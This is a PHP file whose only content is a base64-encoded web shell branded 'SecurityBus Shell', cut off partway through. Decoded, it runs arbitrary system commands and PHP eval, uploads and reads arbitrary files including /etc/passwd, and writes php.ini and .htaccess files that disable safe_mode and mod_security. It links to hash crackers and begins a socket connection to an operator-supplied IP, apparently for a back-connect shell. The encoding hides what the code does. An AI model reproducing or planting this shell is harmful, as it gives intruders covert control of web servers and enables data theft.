$isra = 'PD9waHANCiMgQnlwYXNzIFN1SG9zaW4NCiMgVmlydHVhbA0KIyB1c2VycyA2IElEIC9ldGMvcGFzc3dkDQoNCiR1c2VyID0gJ2lzcic7IA0KJHBhc3MgPSAnaXNyJzsgDQokdXNlbG9naW4gPSAxOw0KJHNoM2xsQ29sb3IgPSAiZ3JlZW4iOw0KDQojIE15U1FMIEluZm8gLS0tLS0tLS0tDQokREJob3N0ID0gImxvY2FsaG9zdCI7DQokREJ1c2VyID0gInJvb3QiOw0KJERCcGFzcyA9ICJyb290IjsNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnNlc3Npb25fc3RhcnQoKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCnNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCnNldF90aW1lX2xpbWl0KDApOw0KaWdub3JlX3VzZXJfYWJvcnQoVFJVRSk7DQppbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7DQppbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7DQppbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOw0KaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCk7DQppbmlfc2V0KCdzYWZlX21vZGUnLCdPZmYnKTsNCg0KLy8gU2V0IEN1cnJlbnQgRGlyZWN0b3J5DQppZighJF9QT1NUICYmICEkX1NFU1NJT05bJ2N1ckRpciddKSB7DQoJJGRpciA9IGdldGN3ZCgpOw0KCSRfU0VTU0lPTlsnY3VyRGlyJ10gPSAkZGlyOw0KfSBlbHNlIGlmKGVtcHR5KCRfUE9TVFsnY3VyRGlyJ10pKSB7DQoJJGRpciA9ICRfU0VTU0lPTlsnY3VyRGlyJ107DQp9IGVsc2Ugew0KCSRkaXIgPSBmaWx0ZXIoJF9QT1NUWydjdXJEaXInXSk7DQoJJF9TRVNTSU9OWydjdXJEaXInXSA9ICRkaXI7DQp9DQovLyBTZXQgRGlyIE1vZGUNCmlmKCRfR0VUWydkaXJfbW9kZSddKSB7DQoJJGRpcl9tb2RlID0gJF9HRVRbJ2Rpcl9tb2RlJ107DQoJJF9TRVNTSU9OWydkaXJfbW9kZSddID0gJGRpcl9tb2RlOw0KfSBlbHNlIHsgDQoJJGRpcl9tb2RlID0gJF9TRVNTSU9OWydkaXJfbW9kZSddOw0KfQ0KDQovLyBTZXQgVXNhYmxlIENvbW1hbmQNCmlmKCRfUE9TVFsnZXhlX21ldGhvZCddKSB7DQoJJGV4ZWNfbWV0aG9kID0gJF9QT1NUWydleGVfbWV0aG9kJ107DQp9IGVsc2Ugew0KCSRleGVjX21ldGhvZCA9ICJleGVjIjsNCn0NCiMgTG9nb3V0IA0KaWYoJF9QT1NUWydsb2dvdXQnXSkgew0KCXByaW50ICc8c2NyaXB0PmRvY3VtZW50LmNvb2tpZT0idXNlcj07Ijtkb2N1bWVudC5jb29raWU9InBhc3M9OyI7PC9zY3JpcHQ+JzsNCglwcmludCAnPHNjcmlwdD5kb2N1bWVudC5sb2NhdGlvbiA9ICInLiRfU0VSVkVSWydQSFBfU0VMRiddLiciOzwvc2NyaXB0Pic7DQp9DQppZihzdHJsZW4oJGRpcik+MSAmJiAkZGlyWzFdPT0iOiIpeyRvcyA9ICJXaW5kb3dzIjt9ZWxzZSB7JG9zID0gIkxpbnV4Ijt9DQppZigkX0dFVFsnaW5mbyddKXtwaHBpbmZvKCk7fQ0KJHNhZmVNb2RlID0gU2FmZU1vZGUoKTsNCiRzZXJ2ZXIgPSBzdWJzdHIoJFNFUlZFUl9TT0ZUV0FSRSwwLDEyMCk7DQokZGFlbW9uID0gIiI7DQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5TZWN1cml0eUJ1cyBTaGVsbDwvdGl0bGU+DQo8bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9J2h0dHA6Ly9pNTAudGlueXBpYy5jb20vMXpnODg2cy5qcGcnIC8+DQo8bWV0YSBodHRwLWVxdWl2PUNvbnRlbnQtVHlwZSBjb250ZW50PXRleHQvaHRtbDsgY2hhcnNldD1VVEYtOD4NCjw/cGhwIGVjaG8gQ1NTKCRzaDNsbENvbG9yKTsgPz4NCg0KPC9oZWFkPg0KPGJvZHkgZGlyPSdsdHInPg0KPD9waHANCiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIw0KIyAgICAgICAgICAgICBBdXRoZW50aWNhdGlvbiAgICAgICAgICAgICAjDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMNCmlmICgkdXNlbG9naW4gPT0xKSB7DQoJaWYoJF9DT09LSUVbInVzZXIiXSAhPSAkdXNlciBvciAkX0NPT0tJRVsicGFzcyJdICE9IG1kNSgkcGFzcykpIHsNCgkJaWYoJF9HRVQpIHskdXNlciA9ICRfR0VUWyd1c2VyJ107JHBhc3MgPSAkX0dFVFsncGFzcyddO30NCgkJaWYoJF9QT1NUWyd1c3JuYW1lJ109PSR1c2VyICYmICRfUE9TVFsncGFzc3dyZCddPT0kcGFzcyl7DQoJCQlwcmludCc8c2NyaXB0PmRvY3VtZW50LmNvb2tpZT0idXNlcj0nLiRfUE9TVFsndXNybmFtZSddLic7Ijtkb2N1bWVudC5jb29raWU9InBhc3M9Jy5tZDUoJF9QT1NUWydwYXNzd3JkJ10pLic7Ijs8L3NjcmlwdD4nOw0KCQl9IGVsc2Ugew0KCQkJaWYoJF9QT1NUWyd1c3JuYW1lJ10pew0KCQkJCXByaW50JzxzY3JpcHQ+YWxlcnQoIkdvIGFuZCBwbGF5IGluIHRoZSBzdHJlZXQgbWFuICEhIik7PC9zY3JpcHQ+JzsNCgkJCX0NCj8+DQo8YnI+PGJyPg0KCQkJPGNlbnRlcj48aW1nIHNyYz0iaHR0cDovL2k1MC50aW55cGljLmNvbS8xemc4ODZzLmpwZyI+PGJyIC8+DQoJCQk8c3k+U2VjdXJpdHlCdXM8L3N5Pg0KCQkJPC9jZW50ZXI+PGJyIC8+DQoJCQk8ZGl2IGFsaWduPSJjZW50ZXIiPg0KCQkJCTxmb3JtIG1ldGhvZD0iUE9TVCIgbmFtZT0ibG9naW5fZm9ybSIgb25TdWJtaXQ9ImlmKHRoaXMudXNybmFtZS52YWx1ZT09Jycpe3JldHVybiBmYWxzZTt9Ij4NCgkJCQk8aW5wdXQgZGlyPSJsdHIiIG5hbWU9InVzcm5hbWUiIGlkPSJ1c2VybmFtZSIgdmFsdWU9IiIgdHlwZT0idGV4dCIgIHNpemU9IjMwIiBvbkJsdXI9IkJsdXIoJ3VzZXJuYW1lJywndXNlck5hbWUnKTsiIG9uQ2xpY2s9IkNsZWFyKCd1c2VybmFtZScsJ3VzZXJOYW1lJyk7Ii8+PGJyPg0KCQkJCTxpbnB1dCBkaXI9Imx0ciIgbmFtZT0icGFzc3dyZCIgaWQ9InBhc3N3b3JkIiB2YWx1ZT0iIiB0eXBlPSJwYXNzd29yZCIgc2l6ZT0iMzAiIG9uRm9jdXM9IkZvY3VzKDIpOyIgLz48YnI+DQoJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiBMb2dpbiAgIiBuYW1lPSJsb2dpbiIgLz4NCgkJCQk8L2Zvcm0+DQoJCQk8L2Rpdj4NCiAgICAgICAgICAgIDw/cGhwDQoJCQlmb290ZXIoKTsNCgkJCWV4aXQ7DQoJCX0NCgl9DQp9DQo/Pg0KPHRhYmxlIGNlbGxwYWRkaW5nPScwJyBjZWxsc3BhY2luZz0nMCcgd2lkdGg9JzEwMCUnPg0KCTx0cj4NCiAgICAJPHRkIHdpZHRoPScxNjAnPg0KICAgIAk8Y2VudGVyPjxmb3JtIG1ldGhvZD0icG9zdCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkxvZ291dCIgbmFtZT0ibG9nb3V0IiBpZD0ibG9nb3V0IiAvPjwvZm9ybT48L2NlbnRlcj4NCgkJCTxhIGhyZWY9Ijw/cGhwIGVjaG8gJF9TRVJWRVJbJ1BIUF9TRUxGJ107ID8+Ij48aW1nIGJvcmRlcj0nMCcgc3JjPSdodHRwOi8vaTUwLnRpbnlwaWMuY29tLzF6Zzg4NnMuanBnJyB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJz48L2E+PGJyPg0KCQkJPGNlbnRlcj5TZWN1cml0eUJ1cw0KCQkJPHA+PC9wPg0KCQkJCTxzZWxlY3QgbmFtZT0iZGlyX21vZGUiIGlkPSJkaXJfbW9kZSIgb25DaGFuZ2U9ImNoYW5nZV9kaXJfbW9kZSgpOyI+DQoJCQkJCTxvcHRpb24gdmFsdWU9ImNtZCIgPD9waHAgaWYoJGRpcl9tb2RlID09ICJjbWQiKSB7ZWNobyAic2VsZWN0ZWQiO30gPz4gPkNNRDwvb3B0aW9uPg0KCQkJCQk8b3B0aW9uIHZhbHVlPSJwaHAiIDw/cGhwIGlmKCRkaXJfbW9kZSA9PSAicGhwIikge2VjaG8gInNlbGVjdGVkIjt9ID8+PlBIUDwvb3B0aW9uPg0KCQkJCTwvc2VsZWN0Pg0KCQkJPC9jZW50ZXI+DQogICAgICA8L3RkPg0KCSAgPHRkPg0KICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCjx0YWJsZSB3aWR0aD0nMTAwJScgc3R5bGU9ImJvcmRlcjpub25lOyBwYWRkaW5nOjJweDsiID4NCiAgICA8dHI+DQogICAgCTx0ZCB3aWR0aD0nMTAzJz5TeXN0ZW08L3RkPg0KICAgIAk8dGQgd2lkdGg9IjMyMyI+PD9waHAgZWNobyAkb3M7ID8+PC90ZD4NCiAgICAJPHRkIHdpZHRoPSI5MCI+QXBhY2hlIE1vZHVsZXM8L3RkPg0KICAgIAk8dGQgd2lkdGg9IjI3OCI+PHNlbGVjdCA+PD9waHAgDQogICAgCWlmKGZ1bmN0aW9uX2V4aXN0cygiYXBhY2hlX2dldF9tb2R1bGVzIikpIHsNCgkJCWZvcmVhY2ggKGFwYWNoZV9nZXRfbW9kdWxlcygpIGFzICRtb2R1bGUpIHsNCgkJCQllY2hvICI8b3B0aW9uPiIuJG1vZHVsZS4iPC9vcHRpb24+IjsNCgkJCX0NCiAgICAJfWVsc2Ugew0KICAgIAkJZWNobyAiPG9wdGlvbj5OT05FPC9vcHRpb24+IjsNCiAgICAJfQ0KICAgIAk/Pjwvc2VsZWN0PjwvdGQ+DQogICAgPC90cj4NCiAgICA8dHI+DQogICAgICA8dGQ+dW5hbWUgPC90ZD4NCiAgICAgIDx0ZD48YSBocmVmPSdodHRwOi8vd3d3Lmdvb2dsZS5jb20vc2VhcmNoP3E9PD9waHAgZWNobyBwaHBfdW5hbWUoKTsgPz4nIHRhcmdldD0nX2JsYW5rJz48dT48P3BocCBlY2hvIHBocF91bmFtZSgpOyA/PjwvdT48L2E+PC90ZD4NCiAgICAgIDx0ZD5DdXJsPC90ZD4NCiAgICAgIDx0ZD48P3BocCBlY2hvIEN1cmwoKTsgPz48L3RkPg0KICAgIDwvdHI+DQogICAgPHRyPg0KICAgICAgICA8dGQ+cHdkPC90ZD4NCiAgICAgICAgPHRkPjw/cGhwIGVjaG8gZ2V0Y3dkKCk7ID8+PC90ZD4NCiAgICAgICAgPHRkPk9wZW4gQmFzZWRpcjwvdGQ+DQogICAgICAgIDx0ZD48P3BocCBlY2hvIG9wZW5CYXNlRGlyKCk7ID8+PC90ZD4NCiAgICA8L3RyPg0KICAgIDx0cj4NCiAgICAgICAgPHRkPndob2FtaTwvdGQ+DQogICAgICAgIDx0ZD48P3BocCBlY2hvIGdldF9jdXJyZW50X3VzZXIoKTsgPz48L3RkPg0KICAgICAgICA8dGQ+TWFnaWNfUXVvdGVzPC90ZD4NCiAgICAgICAgPHRkPjw/cGhwIGVjaG8gbWFnaWNRb3V0cygpOyA/PjwvdGQ+DQogICAgPC90cj4NCiAgICAgICAgPHRyPg0KICAgICAgICAgIDx0ZD5TZXJ2ZXI8L3RkPg0KICAgICAgICAgIDx0ZD48P3BocCBlY2hvICRzZXJ2ZXI7ID8+PC90ZD4NCiAgICAgICAgICA8dGQ+UmVnaXN0ZXIgR2xvYmFsczwvdGQ+DQogICAgICAgICAgPHRkPjw/cGhwIGVjaG8gUmVnaXN0ZXJHbG9iYWxzKCk7ID8+PC90ZD4NCiAgICAgICAgPC90cj4NCiAgICAgICAgPHRyPg0KICAgICAgICAgIDx0ZD5TZXJ2ZXIgTmFtZTwvdGQ+DQogICAgICAgICAgPHRkPjw/cGhwIGVjaG8gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOyA/PjwvdGQ+DQogICAgICAgICAgPHRkPkd6aXA8L3RkPg0KICAgICAgICAgIDx0ZD48P3BocCBlY2hvIEd6aXAoKTsgPz48L3RkPg0KICAgICAgICA8L3RyPg0KICAgICAgICA8dHI+DQogICAgICAgICAgPHRkPllvdXIgSVA8L3RkPg0KICAgICAgICAgIDx0ZD48P3BocCBlY2hvIEdldFJlYWxJUCgpOyA/PjwvdGQ+DQogICAgICAgICAgPHRkPk9yYWNsZTwvdGQ+DQogICAgICAgICAgPHRkPjw/cGhwIGVjaG8gT3JhY2xlKCk7ID8+PC90ZD4NCiAgICAgICAgPC90cj4NCiAgICAgICAgPHRyPg0KICAgICAgICAgIDx0ZD5TZXJ2ZXIgSVA8L3RkPg0KICAgICAgICAgIDx0ZD48YSBocmVmPSdodHRwOi8vYmluZy5jb20vc2VhcmNoP3E9aXA6PD9waHAgZWNobyBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7ID8+JmdvPSZmb3JtPVFCTEgmZmlsdD1hbGwnIHRhcmdldD0nX2JsYW5rJz48dT48P3BocCBlY2hvIGdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKTsgPz48L3U+PC9hPiBbPGEgaHJlZj0iaHR0cDovL3dob2lzLndlYmhvc3RpbmcuaW5mby88P3BocCBlY2hvIGdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKTsgPz4iIHRhcmdldD0nX2JsYW5rJyAvPlJldmVyc2UgSVBdPC90ZD4NCiAgICAgICAgICA8dGQ+TVNRTDwvdGQ+DQogICAgICAgICAgPHRkPjw/cGhwIGVjaG8gTVNRTCgpOyA/PjwvdGQ+DQogICAgICAgIDwvdHI+DQogICAgICAgIDx0cj4NCiAgICAgICAgICA8dGQ+UEhQIFZlcnNpb248L3RkPg0KICAgICAgICAgIDx0ZD48YSBocmVmPSdqYXZhc2NyaXB0Om9wZW5QSFBJbmZvKCk7Jz48dT48P3BocCBlY2hvIHBocHZlcnNpb24oKTsgPz48L3U+PC9hPjwvdGQ+DQogICAgICAgICAgPHRkPk15U1FMPC90ZD4NCiAgICAgICAgICA8dGQ+PD9waHAgZWNobyBNeVNRTDIoKS4iICIubXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCk7ID8+PC90ZD4NCiAgICAgICAgPC90cj4NCiAgICAgICAgPHRyPg0KICAgICAgICAgIDx0ZD5TYWZlIE1vZGU8L3RkPg0KICAgICAgICAgIDx0ZD48P3BocCBlY2hvICRzYWZlTW9kZTsgPz48L3RkPg0KICAgICAgICAgIDx0ZD5NeVNRTGk8L3RkPg0KICAgICAgICAgIDx0ZD48P3BocCBlY2hvIE15c3FsSSgpOyA/PjwvdGQ+DQogICAgICAgIDwvdHI+DQogICAgICAgIDx0cj4NCiAgICAgICAgPHRkPmRpc2FibGUgZnVuY3Rpb25zPC90ZD4NCiAgICAgICAgPHRkPjxzZWxlY3QgbmFtZT0iZGlzYWJsZUZ1bmN0aW9ucyI+PD9waHANCgkJJGZ1bkFycmF5ID0gRGlzYWJsZUZ1bmN0aW9ucygpOw0KCQkkZnVuQXJyYXkgPSBleHBsb2RlKCIsIiwkZnVuQXJyYXkpOw0KCQlzb3J0KCRmdW5BcnJheSk7DQoJCWZvcmVhY2goJGZ1bkFycmF5IGFzICRmdW4pe2VjaG8gIjxvcHRpb24gdmFsdWU9JyIuJGZ1bi4iJz4iLiRmdW4uIjwvb3B0aW9uPiI7fQ0KCQk/Pjwvc2VsZWN0Pg0KICAgICAgICAgIDxpbnB1dCBuYW1lPSJTVE9QX0V4ZWN1dGUiIHR5cGU9InN1Ym1pdCIgaWQ9IlNUT1BfRXhlY3V0ZSIgdmFsdWU9IlR1cm4gT2ZmIiAvPg0KICAgICAgICAgIDwvdGQ+DQogICAgICAgIDx0ZD5Nc1NRTDwvdGQ+DQogICAgICAgIDx0ZD48P3BocCBlY2hvIE1zU1FMKCk7ID8+PC90ZD4NCiAgICAgICAgPC90cj4NCjwvdGFibGU+DQombmJzcDsgICBbPGEgaHJlZj0naHR0cDovL3d3dy5tZDVkZWNyeXB0ZXIuY28udWsvJyB0YXJnZXQ9J19ibGFuayc+TUQ1IENyYWNrZXI8L2E+XQ0KWzxhIGhyZWY9J2h0dHA6Ly93d3cubWQ1ZGVjcnlwdGVyLmNvLnVrL3NoYTEtZGVjcnlwdC5hc3B4JyB0YXJnZXQ9J19ibGFuayc+U0hBMSBDcmFja2VyPC9hPl0NCls8YSBocmVmPSdodHRwOi8vd3d3Lm1kNWRlY3J5cHRlci5jby51ay9udGxtLWRlY3J5cHQuYXNweCcgdGFyZ2V0PSdfYmxhbmsnPk5UTE0gQ3JhY2tlcjwvYT5dDQo8aW5wdXQgbmFtZT0iVVNFUlNfMSIgdHlwZT0ic3VibWl0IiBpZD0iVVNFUlNfMSIgdmFsdWU9IlVzZXJzIFsxXSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImZvcmJpZGRlbl9ieXBhc3MiIGlkPSJmb3JiaWRkZW5fYnlwYXNzIiB2YWx1ZT0iRm9yYmlkZGVuIiAvPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iZmluZF83NTUiIGlkPSJmaW5kXzc1NSIgdmFsdWU9IkZpbmQgNzU1IiAvPg0KPGJyPg0KPC9mb3JtPg0KPC90YWJsZT4NCg0KPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCjxjZW50ZXI+DQo8dGV4dGFyZWEgY29scz0iMTUwIiByb3dzPSIyMCIgbmFtZT0icmVzdWx0IiA+DQo8P3BocCANCmNoZGlyKCRkaXIpOw0KaWYoJF9QT1NUWydsb2dpbiddIHx8ICEkX1BPU1Qpe2VjaG8gU2NhbkRpcnMoKTt9DQplbHNlIGlmKCRfUE9TVFsnQ01EX0V4ZWN1dGUnXSl7aWYoZW1wdHkoJF9QT1NUWydDTURfTGluZSddKSl7ZWNobyBzY2FuRGlycygpO31lbHNlIHtFeGUodXJsZGVjb2RlKGZpbHRlcigkX1BPU1RbJ0NNRF9MaW5lJ10pKSk7IH19DQplbHNlIGlmKCRfUE9TVFsnUEhQX0V4ZWN1dGUnXSl7JGV2YWwgPSBFdmFsdWF0aW9uKHVybGRlY29kZShmaWx0ZXIoJF9QT1NUWydQSFBfTGluZSddKSkpO30NCmVsc2UgaWYoJF9QT1NUWydVUExPQURfRXhlY3V0ZSddKSB7DQoJZm9yICgkaSA9IDA7ICRpIDwgY291bnQoJF9GSUxFU1sndXBsb2FkZmlsZSddWyduYW1lJ10pOyAkaSsrKSB7DQoJCWlmKCRfRklMRVNbJ3VwbG9hZGZpbGUnXVsnbmFtZSddWyRpXSAhPSAnJykgew0KCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdjb3B5JykpeyR1cGxvYWQgPSBjb3B5KCRfRklMRVNbJ3VwbG9hZGZpbGUnXVsndG1wX25hbWUnXVskaV0sICRfRklMRVNbJ3VwbG9hZGZpbGUnXVsnbmFtZSddWyRpXSk7fQ0KCQkJZWxzZXskdXBsb2FkID0gbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ3VwbG9hZGZpbGUnXVsndG1wX25hbWUnXVskaV0sICRfRklMRVNbJ3VwbG9hZGZpbGUnXVsnbmFtZSddWyRpXSk7fQ0KCQkJaWYoJHVwbG9hZCkge2VjaG8gIlRoZSBGaWxlICAiLiRfRklMRVNbJ3VwbG9hZGZpbGUnXVsnbmFtZSddWyRpXS4iIFVwbG9hZGVkIFN1Y2Nlc3NmdWxseSAhDQoiOwl9DQoJCQllbHNlIHsgZWNobyAiVGhlIEZpbGUgICIuJF9GSUxFU1sndXBsb2FkZmlsZSddWyduYW1lJ11bJGldLiIgIENhbid0IEJlIFVwbG9hZCA6KCAhDQoiO30NCgkJfQ0KCX0JCQ0KfQ0KZWxzZSBpZigkX1BPU1RbJ0VESVRfRXhlY3V0ZSddKXskY29udGVudCA9IGh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoZmlsdGVyKCRfUE9TVFsnRWRpdF9MaW5lJ10pKSk7ZWNobyAkY29udGVudDt9DQplbHNlIGlmKCRfUE9TVFsnU0FWRV9FeGVjdXRlJ10pIHsNCgkkY29udGVudCA9IGZpbHRlcigkX1BPU1RbJ3Jlc3VsdCddKTsNCglpZihlbXB0eSgkY29udGVudCkpeyRjb250ZW50ID0gIiAiO30NCglpZihHZW5lcmF0ZUZpbGUoJF9QT1NUWydGSUxFX05BTUUnXSwkY29udGVudCkpe2VjaG8gIlsrXVNhdmVkIFN1Y2Nlc3MgISEgIjt9ZWxzZXtlY2hvICJbLV1TYXZlIEZhaWxlZCAhIjt9DQp9DQplbHNlIGlmKCRfUE9TVFsnUkVBRF9FeGVjdXRlJ10pIHsNCgkkcGF0aCA9IHVybGRlY29kZShmaWx0ZXIoJF9QT1NUWydSRUFEX0xpbmUnXSkpOw0KCSRmaWxlID0gZm9wZW4oJHBhdGgsJ3IrJyk7DQoJaWYoJF9QT1NUWydSRUFEX1R5cGUnXSA9PSAiZmlsZSIpe2VjaG8gaHRtbHNwZWNpYWxjaGFycyhmaWx0ZXIoRmlsZUYoJHBhdGgpKSk7CX0NCgllbHNlIGlmKCRfUE9TVFsnUkVBRF9UeXBlJ10gPT0gImZnZXRzIil7d2hpbGUoKCRsaW5lID0gaHRtbHNwZWNpYWxjaGFycyhmaWx0ZXIoZmdldHMoJGZpbGUpKSkpICE9IGZhbHNlKXtlY2hvICRsaW5lO319DQoJZWxzZSBpZigkX1BPU1RbJ1JFQURfVHlwZSddID09ICJmZ2V0c3MiKXt3aGlsZSgoJGxpbmUgPSBodG1sc3BlY2lhbGNoYXJzKGZpbHRlcihmZ2V0c3MoJGZpbGUpKSkpICE9IGZhbHNlKXtlY2hvICRsaW5lO319DQoJZWxzZSBpZigkX1BPU1RbJ1JFQURfVHlwZSddID09ICJyZWFkZmlsZSIpe2VjaG8gaHRtbHNwZWNpYWxjaGFycyhmaWx0ZXIocmVhZGZpbGUoJHBhdGgpKSk7fQ0KCWVsc2UgaWYoJF9QT1NUWydSRUFEX1R5cGUnXSA9PSAiZnJlYWQiKXtlY2hvIGh0bWxzcGVjaWFsY2hhcnMoZmlsdGVyKGZyZWFkKCRmaWxlLGZpbGVzaXplKCRwYXRoKSkpKTt9DQoJZWxzZSBpZigkX1BPU1RbJ1JFQURfVHlwZSddID09ICJmaWxlX2dldF9jb250ZW50cyIpe2VjaG8gaHRtbHNwZWNpYWxjaGFycyhmaWx0ZXIoZmlsZV9nZXRfY29udGVudHMoJHBhdGgpKSk7fQ0KCWVsc2UgaWYoJF9QT1NUWydSRUFEX1R5cGUnXSA9PSAidGVtcG5hbSIpe2VjaG8gaHRtbHNwZWNpYWxjaGFycyhmaWx0ZXIoVGVtcG5hbWVGKCRwYXRoKSkpO30NCgllbHNlIGlmKCRfUE9TVFsnUkVBRF9UeXBlJ10gPT0gImNvcHkiKXtlY2hvIGh0bWxzcGVjaWFsY2hhcnMoZmlsdGVyKENvcHlGKCRwYXRoKSkpO30NCgllbHNlIGlmKCRfUE9TVFsnUkVBRF9UeXBlJ10gPT0gIm1iX3NlbmRfbWFpbCIpe2VjaG8gaHRtbHNwZWNpYWxjaGFycyhmaWx0ZXIobWJTZW5kRW1haWwoJHBhdGgpKSk7fQ0KCWVsc2UgaWYoJF9QT1NUWydSRUFEX1R5cGUnXSA9PSAiaGlnaGxpZ2h0X2ZpbGUiKXtlY2hvIGh0bWxzcGVjaWFsY2hhcnMoZmlsdGVyKGhpZ2hsaWdodEZpbGUoJHBhdGgpKSk7fQ0KCWVsc2UgaWYoJF9QT1NUWydSRUFEX1R5cGUnXSA9PSAiY3VybCIpe2VjaG8gaHRtbHNwZWNpYWxjaGFycyhmaWx0ZXIoQ3VybEZpbGVSZWFkKCRwYXRoKSkpO30NCgllbHNlIGlmKCRfUE9TVFsnUkVBRF9UeXBlJ10gPT0gImltYXAiKXtlY2hvIGh0bWxzcGVjaWFsY2hhcnMoZmlsdGVyKEltYXBGKCRwYXRoKSkpO30NCgllbHNlIGlmKCRfUE9TVFsnUkVBRF9UeXBlJ10gPT0gImlkIil7ZWNobyBodG1sc3BlY2lhbGNoYXJzKGZpbHRlcihSZWFkSWQoJHBhdGgpKSk7fQ0KCWVsc2UgaWYoJF9QT1NUWydSRUFEX1R5cGUnXSA9PSAic2hvd19zb3VyY2UiKXtlY2hvIGh0bWxzcGVjaWFsY2hhcnMoZmlsdGVyKHNob3dfc291cmNlKCRwYXRoKSkpO30NCgllbHNlIGlmKCRfUE9TVFsnUkVBRF9UeXBlJ10gPT0gIm15c3FsIil7ZWNobyBodG1sc3BlY2lhbGNoYXJzKGZpbHRlcihNeVNRTFJlYWRlcigkcGF0aCkpKTt9DQoJZWxzZSBpZigkX1BPU1RbJ1JFQURfVHlwZSddID09ICJteXNxbGkiKXtlY2hvIGh0bWxzcGVjaWFsY2hhcnMoZmlsdGVyKE15U1FMSVJlYWRlcigkcGF0aCkpKTt9DQoJZWxzZSBpZigkX1BPU1RbJ1JFQURfVHlwZSddID09ICJzeW1saW5rIil7ZWNobyBodG1sc3BlY2lhbGNoYXJzKGZpbHRlcihTeW1saW5rRigkcGF0aCkpKTt9DQoJZWxzZSBpZigkX1BPU1RbJ1JFQURfVHlwZSddID09ICJpb25jdWJlIil7ZWNobyBodG1sc3BlY2lhbGNoYXJzKGZpbHRlcihpb25jdWJlX3JlYWRfZmlsZSgkcGF0aCkpKTt9DQoJZWxzZSBpZigkX1BPU1RbJ1JFQURfVHlwZSddID09ICJlcnJvcl9sb2ciKXtlY2hvIGh0bWxzcGVjaWFsY2hhcnMoZmlsdGVyKEVycm9yTG9nKCRwYXRoKSkpO30NCgllbHNlIGlmKCRfUE9TVFsnUkVBRF9UeXBlJ10gPT0gImluY2x1ZGUiKXtlY2hvIGh0bWxzcGVjaWFsY2hhcnMoZmlsdGVyKEluY2x1ZGVSZWFkZXIoJHBhdGgpKSk7fQ0KfQ0KZWxzZSBpZigkX1BPU1RbJ1NUT1BfRXhlY3V0ZSddKSB7DQokZ2VuVHJ5ID0gR2VuZXJhdGVGaWxlKCJwaHAuaW5pIiwiDQpzYWZlX21vZGUgPSBPZmYNCmRpc2FibGVfZnVuY3Rpb25zID0gTk9ORQ0Kc2FmZV9tb2RlX2dpZCA9IE9GRg0Kb3Blbl9iYXNlZGlyID0gT0ZGIik7DQoJaWYoJGdlblRyeSl7ZWNobyAiWytdIHBocC5pbmkgSGFzIEJlZW4gR2VuZXJhdGVkIFN1Y2Nlc3NmdWxseSANCiI7fQ0KCWVsc2Uge2VjaG8gIlstXSBGYWlsZWQgdG8gZ2VuZXJhdGUgcGhwLmluaSBmaWxlICEhIA0KIjt9DQoJDQoJJGdlblRyeSA9IEdlbmVyYXRlRmlsZSgiLmh0YWNjZXNzIiwiDQo8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+DQpTZWNGaWx0ZXJFbmdpbmUgT2ZmDQpTZWNGaWx0ZXJTY2FuUE9TVCBPZmYNClNlY0ZpbHRlckNoZWNrVVJMRW5jb2RpbmcgT2ZmDQpTZWNGaWx0ZXJDaGVja0Nvb2tpZUZvcm1hdCBPZmYNClNlY0ZpbHRlckNoZWNrVW5pY29kZUVuY29kaW5nIE9mZg0KU2VjRmlsdGVyTm9ybWFsaXplQ29va2llcyBPZmYNCjwvSWZNb2R1bGU+DQo8TGltaXQgR0VUIFBPU1Q+DQpvcmRlciBkZW55LGFsbG93DQpkZW55IGZyb20gYWxsDQphbGxvdyBmcm9tIGFsbA0KPC9MaW1pdD4NCjxMaW1pdCBQVVQgREVMRVRFPg0Kb3JkZXIgZGVueSxhbGxvdw0KZGVueSBmcm9tIGFsbA0KPC9MaW1pdD4NClNldEVudiBQSFBSQyAiLmdldGN3ZCgpLiIvcGhwLmluaQ0KCSIpOw0KCWlmKCRnZW5Ucnkpe2VjaG8gIlsrXSAuaHRhY2Nlc3MgSGFzIEJlZW4gR2VuZXJhdGVkIFN1Y2Nlc3NmdWxseSANCiI7fQ0KCWVsc2Uge2VjaG8gIlstXSBGYWlsZWQgdG8gZ2VuZXJhdGUgLmh0YWNjZXNzIGZpbGUgISEgDQoiO30NCn0NCmVsc2UgaWYoJF9QT1NUWydDT05fVHlwZSddID09ICJzb2NrcyIpIHsNCgkkc29jayA9IHNvY2tldF9jcmVhdGUoQUZfSU5FVCwgU09DS19TVFJFQU0sIFNPTF9UQ1ApOw0KCWlmKCRzb2NrIDwgMCl7ZWNobyAiWy1dIGZhaWxlZCB0byBjcmVhdGUgc29ja2V0LiI7fQ0KCWVsc2Ugew0KCQkkcmVzdWx0ID0gc29ja2V0X2Nvbm5lY3QoJHNvY2ssIGZpbHRlcih0cmltKCRfUE9TVFsnaXAnXSkpLCBmaWx0ZXIodHJpbSgkX1BPU1RbJ3BvcnQnXSkpKTsNCgkJaWYoJHJlc3VsdCA8IDApe2VjaG8gIlstXSBmYWl